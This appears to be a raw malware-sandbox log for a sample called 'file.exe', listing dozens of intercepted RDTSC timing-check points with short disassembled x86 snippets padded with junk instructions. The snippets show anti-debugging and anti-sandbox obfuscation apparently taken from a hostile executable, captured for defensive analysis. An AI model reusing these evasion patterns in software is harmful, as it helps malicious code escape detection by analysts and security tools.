Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE7A84 second address: EE7B3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B30DB09B2h 0x00000008 js 00007F1B30DB09A6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F1B30DB09A8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e add di, 9384h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F1B30DB09A8h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 0000001Ch 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 mov dword ptr [ebp+1246AB5Ah], edx 0x0000005a mov dword ptr fs:[00000000h], esp 0x00000061 jc 00007F1B30DB09B2h 0x00000067 jnc 00007F1B30DB09ACh 0x0000006d mov eax, dword ptr [ebp+122D12B9h] 0x00000073 mov edi, dword ptr [ebp+122D36FCh] 0x00000079 push FFFFFFFFh 0x0000007b mov dword ptr [ebp+122D22A6h], edx 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007F1B30DB09B3h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8B7A second address: EE8B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9AAD second address: EE9AB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2535 second address: EF2539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2539 second address: EF253D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF253D second address: EF2553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1B3079D696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jp 00007F1B3079D696h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2553 second address: EF255B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF255B second address: EF2577 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F1B3079D6A7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF210E second address: EF2118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1B30DB09A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF57A0 second address: EF57A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF57A4 second address: EF57F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1B30DB09AEh 0x0000000e popad 0x0000000f push eax 0x00000010 push esi 0x00000011 ja 00007F1B30DB09ACh 0x00000017 pop esi 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jno 00007F1B30DB09ACh 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jnl 00007F1B30DB09A8h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF57F9 second address: EF580F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F1B3079D696h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF580F second address: EF582D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1B30DB09B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58D4 second address: EF58EC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1B3079D696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F1B3079D696h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58EC second address: EF58F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58F2 second address: EF590A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF590A second address: EF5910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC71F second address: EFC723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA1F second address: EFBA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA25 second address: EFBA2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA2B second address: EFBA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBA35 second address: EFBA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBBC0 second address: EFBBD8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1B30DB09AAh 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBBD8 second address: EFBBE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBE61 second address: EFBE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007F1B30DB09A6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 jc 00007F1B30DB09D5h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC0F6 second address: EFC10F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B3079D696h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1B3079D69Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC2C8 second address: EFC30D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F1B30DB09B8h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jnc 00007F1B30DB09C3h 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC468 second address: EFC47F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC47F second address: EFC485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFC485 second address: EFC489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04330 second address: F04336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04336 second address: F04357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F1B3079D696h 0x0000000d jmp 00007F1B3079D6A4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04357 second address: F0435B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0435B second address: F04380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B3079D6A7h 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1B3079D696h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0331C second address: F03322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03322 second address: F03327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03327 second address: F03337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edx 0x00000008 je 00007F1B30DB09A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03337 second address: F03343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03343 second address: F03349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03349 second address: F0334D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03619 second address: F0361F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0361F second address: F03629 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1B3079D69Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03798 second address: F0379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0379E second address: F037BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D69Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d jnc 00007F1B3079D698h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F02D65 second address: F02D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jc 00007F1B30DB09ACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03B93 second address: F03B9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03B9A second address: F03BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1B30DB09A8h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03BAA second address: F03BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F1B3079D696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03BB4 second address: F03BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03BB8 second address: F03BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03D2C second address: F03D3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jne 00007F1B30DB09A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F03D3D second address: F03D63 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B3079D696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F1B3079D6A9h 0x00000013 jc 00007F1B3079D696h 0x00000019 jmp 00007F1B3079D69Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5492 second address: ED5496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5496 second address: ED5520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebx 0x00000007 mov ecx, 6B00DF64h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F1B3079D698h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push ecx 0x0000002e xor dx, D175h 0x00000033 pop edx 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov cx, 51C9h 0x0000003f mov dword ptr [ebp+12487102h], esp 0x00000045 mov ecx, dword ptr [ebp+122D227Fh] 0x0000004b cmp dword ptr [ebp+122D2942h], 00000000h 0x00000052 jne 00007F1B3079D722h 0x00000058 mov cl, ah 0x0000005a mov byte ptr [ebp+122D2BCDh], 00000047h 0x00000061 jmp 00007F1B3079D69Bh 0x00000066 mov eax, D49AA7D2h 0x0000006b mov dx, ax 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jc 00007F1B3079D6A0h 0x00000077 jmp 00007F1B3079D69Ah 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED575C second address: ED5761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED58B0 second address: ED58F2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B3079D6A4h 0x00000008 jmp 00007F1B3079D69Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F1B3079D6A1h 0x00000018 jmp 00007F1B3079D6A4h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED59BD second address: ED5A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F1B30DB09A8h 0x0000000b popad 0x0000000c xor dword ptr [esp], 3A4A47A0h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F1B30DB09A8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d jmp 00007F1B30DB09ABh 0x00000032 push 4876B2BDh 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push edi 0x0000003c pop edi 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5A07 second address: ED5A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B3079D6A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED5A20 second address: ED5A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6691 second address: ED6709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jne 00007F1B3079D69Eh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F1B3079D698h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 or ecx, dword ptr [ebp+122D2618h] 0x0000002d mov di, si 0x00000030 lea eax, dword ptr [ebp+124870EEh] 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F1B3079D698h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 movzx edi, si 0x00000053 nop 0x00000054 push ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F1B3079D69Fh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6709 second address: ED670D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED670D second address: ED6778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F1B3079D698h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 mov edi, 3E0BE282h 0x0000002e lea eax, dword ptr [ebp+124870AAh] 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F1B3079D698h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e jnl 00007F1B3079D6A3h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6778 second address: ED677D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED677D second address: ED6787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1B3079D696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F088C3 second address: F088D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F088D1 second address: F08904 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F1B3079D696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F1B3079D69Ch 0x00000015 jne 00007F1B3079D6A8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08904 second address: F08909 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08A6C second address: F08A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08A71 second address: F08A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08A77 second address: F08A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08C0D second address: F08C4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B30DB09AEh 0x00000007 pushad 0x00000008 jmp 00007F1B30DB09B5h 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007F1B30DB09A6h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jns 00007F1B30DB09A8h 0x00000020 push edi 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pop edi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08C4C second address: F08C88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1B3079D69Dh 0x00000008 jmp 00007F1B3079D6A6h 0x0000000d jmp 00007F1B3079D6A0h 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08F78 second address: F08F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08F80 second address: F08F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08F89 second address: F08F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08F8D second address: F08F9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F1B3079D696h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09372 second address: F09377 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09377 second address: F0937F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0937F second address: F0939D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B30DB09B2h 0x00000009 jns 00007F1B30DB09A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C434 second address: F0C484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F1B3079D6A9h 0x0000000c pushad 0x0000000d jmp 00007F1B3079D6A3h 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F1B3079D6A8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C484 second address: F0C4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1B30DB09B5h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F1B30DB09B3h 0x00000011 pushad 0x00000012 js 00007F1B30DB09A6h 0x00000018 jmp 00007F1B30DB09B1h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
